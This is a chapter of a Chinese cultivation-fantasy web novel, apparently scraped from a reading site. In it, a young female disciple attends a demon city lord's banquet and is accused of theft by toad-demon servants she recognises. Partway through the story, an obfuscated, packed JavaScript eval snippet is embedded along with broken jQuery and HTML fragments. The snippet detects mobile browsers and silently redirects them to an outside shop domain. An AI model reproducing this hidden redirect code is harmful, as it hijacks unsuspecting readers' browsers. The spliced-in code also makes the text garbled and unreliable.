“涂师妹不必紧张,有我们师兄弟在场,那些妖修不敢为难你的。”
崔喑瞧她神色有异,又刚从思乡之情中缓过劲来,便温言宽慰。
涂息灵料想也是。
她思索了几息,怯怯地抬眼:“崔师兄可知道,城主为何认得我?唤我去,又是为了什么?”
怎料崔喑闻言,笑意倏然收敛了几分。
他抬眼用余光左右各扫一眼,周身忽而覆上一层浅淡的灵光,片刻后,微微弯下腰,沉声与她道:“师妹别忘了,此地可是城主府。这府内诸多双眼睛盯着,又怎会不知咱们院里多出了什么。”
语罢,他直起身子,又恢复往常那副笑吟吟的模样。
“只是借着庆祝交易的由头,邀众妖吃顿酒罢了。并非针对你我,别怕。”
察觉到他用灵力探查周遭,涂息灵不免有些紧张,时不时往门内瞥一眼。听他这番话语,又乖乖点了点头。
“时候不早了,师兄还在等着咱们呢。”
他垂眸又看了看她身上,体贴地问:“师妹还需收拾什么吗?”
“啊?我......”
涂息灵顺着他的目光低头,看了看自己,又看了看对方。见他穿着天工院亲传弟子的制式长袍,而自己身上却是一件素得不能再素的旧道袍,便瞬间明白他的意思,顿时尴尬地羞红了脸。
“出门在外不甚讲究,我没带什么衣裳。”
赴宴总该穿得庄重些。可是以她的财力,便是有空去买,也买不起呀。
“涂师妹真是节俭啊......”
崔喑仿佛没听出她话中的窘迫,望向夜空,叹了一声。这话的语气不似客套,反倒像真的在感慨。
随即,他又低头笑道:“不妨事。超然物外者,皆喜返璞归真。”
涂息灵也跟着他笑:“那在下今日,便也做一回世外高人吧!”
二人穿过回廊,往宴饮之地走去。
途中不时有修士御物从府邸上空飞过,有的是兽形,有的是半兽形,可绝大部分却是人的模样。
“崔师兄,原来今日会有这么多人修到场吗?”涂息灵一面走,一面好奇地张望。
崔喑刚想回她,便听前方传来熟悉的男音。
“人族不过你我三人。其余,皆是妖。”
“师兄!”崔喑快步上前。
涂息灵回过神来,循声望去。
廊下的男子双手环胸,随意地靠在廊柱上。他长发由一根墨色发带高高束起,一身用料考究的黑白劲装,其间隐有符文流转,很是不俗。
侧过头时,可见其眉心朱砂一点。檐下的风灯为他镀上一层暖光,衬得那张俊美无俦的面庞愈发朗润。
原来他面具之下,是这样一张如玉的脸。
涂息灵微微一怔,小跑着赶到二人身前,便听他温声招呼:“来了。”
她呼吸微促,点点头。平了平气后又抬眼,极自然地问:“奚师兄,为何妖修都喜欢幻化成人的模样?”
“......师妹,你的基础课业一定从没合格过吧。”崔喑忍不住插了一嘴。
奚潸月见状,无奈地摇了摇头。转而对上那双认真求知的眼眸,轻笑着示意她边走边说。
“‘人为万物之长,亦为众生之首。’”
这话她初来城里时便听说过了。只是,为什么呢?
听她这般问出,奚潸月感慨道:“只因人族生而神相。比起妖族,我等便少了这一劫化形的步骤。”
“那人族修行,岂不是比妖族快上一倍不止?”
“自然。”
“所以妖修们才喜欢吃人,只因吃人可以加快他们化形的速度......我说得对吗,师兄?”涂息灵脱口而出。
“师妹,谨言。”
话落,气氛骤然一沉。
涂息灵怔愣了一下,抬头见二人神情严肃,这才意识到自己说错话了。
还是奚潸月率先软了声,轻轻拍了拍她的肩膀,安慰道:“人妖之争不止千年。师妹只作寻常事,切莫卷入其中。修行在于己身,只消求真悟道即可。”
“嗯......”
涂息灵乖巧应了,低头看向自己的脚尖。心里想着的,却是另一桩事:南柯说他很危险,可是这样温柔的人,又怎会危险呢?
三人抵达会场时,宴上已是热闹非凡。
城主还未到场,席间客人们大多随意地走动攀谈。场中丝竹之声不绝,长相各异的舞姬正伴着乐声扭动着柔软的身段,手捧玉盘灵酒的妖侍们则穿梭于各方席位之间,殷勤地端菜斟酒。
众妖将不大的会场划分为不同区域,各自为营。
蒙乌本地的妖修多为虫族,二城主知乎便是其一。他独自一人坐在上首副座上喝着闷酒,见涂息灵几人迎面走来,眼中闪过一丝意外。
三人由府内妖侍引入,在上首主宾位落座,距离主人席位不过两丈之隔。
涂息灵此时心中惶惶不安。作为场内唯一的人族女修,众妖欣赏的曼妙舞姿在她看来却如狂魔乱舞,十分诡异。遑论席间那一双双带着审视与玩味的兽瞳,如利刃般扎在她身上,令她背若芒刺。
“别紧张。”
奚潸月看出她的不自在,轻声安抚,侧过身子,替她挡去大半目光。
“我没事,多谢奚师兄。”
她小声道谢,随即便被桌上的佳肴引去了目光。偷偷看了眼周围,才小心拿起筷子。可瞥见桌角那盘红烧排骨时,又想起此前听来的吃人传闻,犹豫再三,不敢落筷。
涂息灵坐下后,为了让她安心,师兄弟二人分坐在她左右两侧。
“可以吃的。”左侧的崔喑出声,“师妹别担心,只是寻常灵豚肉。妖族与人族的吃食并无不同。自然,也有妖修只喜好素食。”
涂息灵夹了一筷送入口中细嚼,听闻后半句,又抬眼奇道:“吃素的妖?”
“是啊。”崔喑笑了一声,“你瞧,对桌那位便是兔族的妖修。”
涂息灵顺着他视线望去,见那兔妖一身白衣端坐案后,样貌雌雄莫辨。其耷着眼皮、目下无尘的神态,还真有几分菩萨气相。
而她的关注点,却在兔妖那对毛茸茸的耳朵上。
下一瞬,兔子耳朵忽然动了。
兔妖缓缓睁开眼眸,与涂息灵一样,先是假模假样朝周围扫了一圈,见旁侧无人关注他,立时捋起袖子,就着眼前的素肴狼吞虎咽起来。
这极为不雅的吃相,与其清冷的相貌大相径庭。
涂息灵无语地收回目光,正巧碰上崔喑回头。二人弯了弯眼,默契地无声一笑。
恰逢此时,上首传来声响。
一位不知名的小妖奋力敲响铜锣,高声大喊:“城主到——”
周遭的喧嚷静了几分,涂息灵也忍不住抬头望去。
这玉珠城主的排场极大,好似哪国的王后娘娘,一路香花宝扇,从宴厅门口一直铺到主位桌前。
“诸位久等。”
一架红漆步辇由四个癞子头的妖侍扛着,她的声音便从这上方传出。
辇上红纱飘荡,其间美人若隐若现。配上前边撒花扇扇的气氛组,一些自控力不好的妖修已然看痴了。
涂息灵惊艳之余,亦在心中嘀咕:这等修为的大妖,不乘法宝,竟也喜欢凡人的做派。
宴厅的路不长,不过眨眼便至。轿辇落地的刹那,恰好停在了他们的桌前。
玉珠缓步走下轿辇,一身浅金华袍,艳若芙蓉。可大妖的气场一开,那艳色便成了凛冽的刀锋,令人不敢直视。
比起玉珠,涂息灵对这四个癞子头反倒更加在意。只因他们的样貌实在猎奇,丑得好似地狱里的秃瓢罗刹,可怕又滑稽。可细察之际,却愈发觉得这几个妖侍有些眼熟。
忽而一名癞子头妖侍微微转过脑袋,涂息灵瞥见其黄绿色的眼仁与横向的瞳孔,登时咬紧了牙关。
这些癞子头的眼睛,竟与那地下虫窟的蛤蟆妖们一模一样!
双方不过咫尺之距。霎时间,她的呼吸都放轻了,尽力将自己往奚潸月那头缩去,以免被发现。
好在这些妖侍护送完玉珠便退至厅后。涂息灵暗自松了口气,肩膀刚塌下去,便听身旁传来一声轻笑。
奚潸月微微侧过身,看向自己身后这位“此地无银三百两”的小娘子,不禁笑道:“涂师妹再退,可要退到场子外头去了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871215|212035||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
涂息灵闻言,从他的肩膀处探出脑袋,做贼似的偷偷瞄了两眼场中。见蛤蟆妖们不在了,这才重新坐回自己的位子。她脸蛋微微泛红,羞赧地轻咳一声:“咳,奚师兄莫要取笑我了......”
玉珠出手阔绰,招待客人的席面着实不俗。
只是涂息灵经过接连的惊吓,又兼担心南柯的身体,早已没了胃口。她用筷子拨弄着眼前的餐食,随手接过案前妖侍递来的灵酒,想也不想便抿了一口。
“咳!”
辛辣直冲上颚,酒液化作一股凶猛的烈火,从喉头处一直滚向心口。涂息灵被那灵酒呛得猛一弯腰,抑制不住地咳嗽起来。
上首的谈笑声戛然而止。
如玉的长指将酒杯轻轻搁在案上,发出“叮”的一声清脆。玉珠抬起眼眸,目如带着实质般的重量,越过众人,落在了那个狼狈咳喘的身影上。
“奚道友。”她的声音让整个宴厅为之一静,“你身旁的这位......倒是面生得紧。”
与她谈话之人见状,便自觉退下。
压力如山般袭来,涂息灵不自觉攥紧了袖子,勉强忍住咳嗽,几乎不敢呼吸。
知乎坐在玉珠身侧,闻声眉梢轻挑,斜了一眼她处,随即也看向那名面熟的小娘子,来了兴致。
奚潸月却不慌不忙,面不改色地应道:“城主见谅。想必玉珠城主还未见过,这位是在下世伯家的小徒,涂师妹。”
“师妹?”不等玉珠开口,她手下一个吊梢眼的狗腿子便嗤笑出声,嗓音极为尖利。
“奚首席,您这‘师妹’未免太多了些!前日说要寻个林师妹,今儿个怎又冒出个涂师妹?尔等人修别的不多,什么师妹师弟的倒是满大街的长——诸位说,是不是啊?哈哈哈!”
顿时引得底下哄堂大笑。
自古人妖两立。这妖修仗着是自家地盘,又兼人多势众,竟敢在仙门首席之一的天工院面前这般恣意妄为。
“师兄!”
这些妖修出言不逊,欺人太甚!崔喑脸色一沉,手已按上武兵,却被奚潸月一个眼神遏止。
奚潸月脸上的笑意淡去,转向玉珠。往日温善的君子,音色里也透出明显冷意。
“玉珠城主,今日庆贺之宴,这......又是何意?”
玉珠红唇微勾,仿佛才听见这场风波,轻轻挥了挥手,压下堂下的喧哗。
“怎会?既是奚道友的师妹,便是本座的客人。”
她眼波流转,落在涂息灵身上。
“小友受惊了。来人——”
一名妖侍应声上前。
“去将后厅那珍藏多年的灵糟酒取来,分与众宾共品。也算......给这位涂小友压一压惊。”
见那妖侍仍愣在原地,知乎嘴角噙笑,替她催了一声:“还不快去?”
“啊、是!这就去!”
妖侍领命前去。不多时,方才那四名癞子头的蛤蟆妖便吭哧吭哧地抬着一口硕大的青瓷酒缸,“咚”的一声,重重放在宴厅中央。浓烈又奇异的酒香霎时弥漫开来。
玉珠轻描淡写地介绍起这灵酒的珍贵,蛤蟆妖们则趁她讲解的间隙舀酒分奉。宾客们的注意力皆被美酒吸引,气氛似乎重回先前的热闹。
涂息灵低垂着脑袋,死死盯着桌面。
她本以为危机已经解除,怎奈虎狼又从屁股后头咬了上来。
倏然,头顶被一片阴影笼罩。一双粗糙泛青的大手伸到眼前,端着一张盛放着灵酒的食案。
涂息灵全身僵硬,屏住了呼吸,下意识摸向前襟里的天钧。
就在那只手要将酒碗放下的瞬间——
“啊!”
一声惊呼,瓷碗磕碰,酒液泼洒出来,烫得涂息灵往后一缩。
“又有何事?”今日状况频出,玉珠的声音已带了不耐。
那蛤蟆妖飞快朝上首瞥了一眼,手上动作慢了半拍,一抖,又哆哆嗦嗦洒出些酒来。他像是被什么吓狠了般,一把丢了食案,踉跄着跪倒在地,颤抖的手直直指向涂息灵,发出凄厉的尖叫:
“城主啊城主!咱们家的宝贝被人偷去了!那小贼——”
“就是她!”